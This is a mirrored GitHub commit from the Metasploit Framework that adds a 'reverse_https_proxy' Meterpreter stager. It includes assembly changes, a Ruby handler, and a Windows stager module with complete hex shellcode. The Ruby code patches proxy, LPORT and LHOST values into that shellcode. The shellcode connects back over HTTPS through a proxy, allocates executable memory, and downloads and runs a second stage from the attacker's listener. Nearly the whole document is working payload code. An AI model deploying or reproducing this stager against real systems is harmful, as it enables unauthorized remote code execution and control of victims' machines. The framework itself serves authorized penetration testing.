mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
New meterpreter payload reverse_https_proxy
This commit is contained in:
corelanc0d3r
Rob Fuller
parent
529471ed53
commit
e8983a21c5
@ -19,17 +19,17 @@ load_wininet:
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call internetopen
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proxy_server_name:
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db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
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db "PROXYHOST:PORT",0x00
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internetopen:
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mov ecx, esp
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pop ecx ; pointer to proxy_server_name
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xor edi,edi
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push edi ; DWORD dwFlags
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push edi ; LPCTSTR lpszProxyBypass
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push esp ; LPCTSTR lpszProxyBypass (empty)
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push ecx ; LPCTSTR lpszProxyName
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push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
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push byte 0 ; NULL pointer
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push esp ; LPCTSTR lpszAgent ("\x00")
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push byte 0 ; NULL pointer
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; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this
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push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
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call ebp
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@ -297,6 +297,24 @@ protected
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print_status("Patched user-agent at offset #{i}...")
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end
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# Activate a custom proxy
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i = blob.index("METERPRETER_PROXY")
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if i
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if datastore['PROXYHOST']
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if datastore['PROXYHOST'].to_s != ""
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proxyhost = datastore['PROXYHOST'].to_s
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proxyport = datastore['PROXYPORT'].to_s || "8080"
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proxyinfo = proxyhost + ":" + proxyport
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if proxyport == "80"
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proxyinfo = proxyhost
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end
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proxyinfo << "\x00"
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blob[i, proxyinfo.length] = proxyinfo
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print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
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end
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end
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end
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# Replace the transport string first (TRANSPORT_SOCKET_SSL)
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i = blob.index("METERPRETER_TRANSPORT_SSL")
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if i
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50
lib/msf/core/handler/reverse_https_proxy.rb
Normal file
50
lib/msf/core/handler/reverse_https_proxy.rb
Normal file
@ -0,0 +1,50 @@
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# -*- coding: binary -*-
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require 'rex/io/stream_abstraction'
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require 'rex/sync/ref'
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require 'msf/core/handler/reverse_http'
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module Msf
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module Handler
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###
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#
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# This handler implements the HTTP SSL tunneling interface.
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#
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###
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module ReverseHttpsProxy
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include Msf::Handler::ReverseHttp
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#
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# Returns the string representation of the handler type
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#
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def self.handler_type
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return "reverse_https_proxy"
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end
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#
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# Returns the connection-described general handler type, in this case
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# 'tunnel'.
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#
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def self.general_handler_type
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"tunnel"
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end
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#
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# Initializes the HTTP SSL tunneling handler.
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#
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def initialize(info = {})
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super
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register_options(
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[
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OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
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], Msf::Handler::ReverseHttpsProxy)
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end
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end
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end
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end
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119
modules/payloads/stagers/windows/reverse_https_proxy.rb
Normal file
119
modules/payloads/stagers/windows/reverse_https_proxy.rb
Normal file
@ -0,0 +1,119 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_https_proxy'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
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'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy',
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'Author' => ['hdm','corelanc0d3r <peter.ve@corelan.be>'],
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseHttpsProxy,
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'Convention' => 'sockedi https',
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'Stager' =>
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{
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'Payload' =>
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"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
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"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
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"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
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"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
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"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
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"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
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"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
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"\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07" +
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"\xff\xd5\xe8\x0f\x00\x00\x00\x50\x52\x4f\x58\x59\x48\x4f\x53\x54" +
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"\x3a\x50\x4f\x52\x54\x00\x59\x31\xff\x57\x54\x51\x6a\x03\x6a\x00" +
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"\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x62\x5b\x31\xc9\x51\x51\x6a" +
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"\x03\x51\x51\x68\x5c\x11\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff" +
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"\xd5\xe9\x4b\x00\x00\x00\x59\x31\xd2\x52\x68\x00\x32\xa0\x84\x52" +
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"\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x6a\x10" +
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"\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75" +
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"\x46\x9e\x86\xff\xd5\x31\xff\x57\x57\x57\x57\x56\x68\x2d\x06\x18" +
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"\x7b\xff\xd5\x85\xc0\x75\x1d\x4b\x74\x13\xeb\xd5\xe9\x49\x00\x00" +
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"\x00\xe8\xb0\xff\xff\xff\x2f\x31\x32\x33\x34\x35\x00\x68\xf0\xb5" +
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"\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
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"\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00" +
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"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd" +
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"\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x4b\xff\xff\xff"
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}
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))
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# Register proxy options
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register_options(
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[
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OptAddress.new('PROXYHOST', [true, "The IP address of the proxy to use" ,"127.0.0.1"]),
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OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
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], self.class)
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end
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#
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# Do not transmit the stage over the connection. We handle this via HTTPS
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#
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def stage_over_connection?
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false
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end
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#
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# Generate the first stage
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#
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def generate
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p = super
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i = p.index("/12345\x00")
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u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00"
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p[i, u.length] = u
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# patch proxy info
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proxyhost = datastore['PROXYHOST'].to_s
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proxyport = datastore['PROXYPORT'].to_s || "8080"
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proxyinfo = proxyhost + ":" + proxyport
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if proxyport == "80"
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proxyinfo = proxyhost
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end
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proxyloc = p.index("PROXYHOST:PORT")
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p = p.gsub("PROXYHOST:PORT",proxyinfo)
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# patch the call
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calloffset = proxyinfo.length
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calloffset += 1
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p[proxyloc-4] = [calloffset].pack('V')[0]
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# patch the LPORT
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lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
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p[lportloc+1] = [datastore['LPORT'].to_i].pack('V')[0]
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p[lportloc+2] = [datastore['LPORT'].to_i].pack('V')[1]
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p[lportloc+3] = [datastore['LPORT'].to_i].pack('V')[2]
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p[lportloc+4] = [datastore['LPORT'].to_i].pack('V')[3]
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# append LHOST and return payload
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p + datastore['LHOST'].to_s + "\x00"
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end
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#
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# Always wait at least 20 seconds for this payload (due to staging delays)
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#
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def wfs_delay
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20
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end
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end
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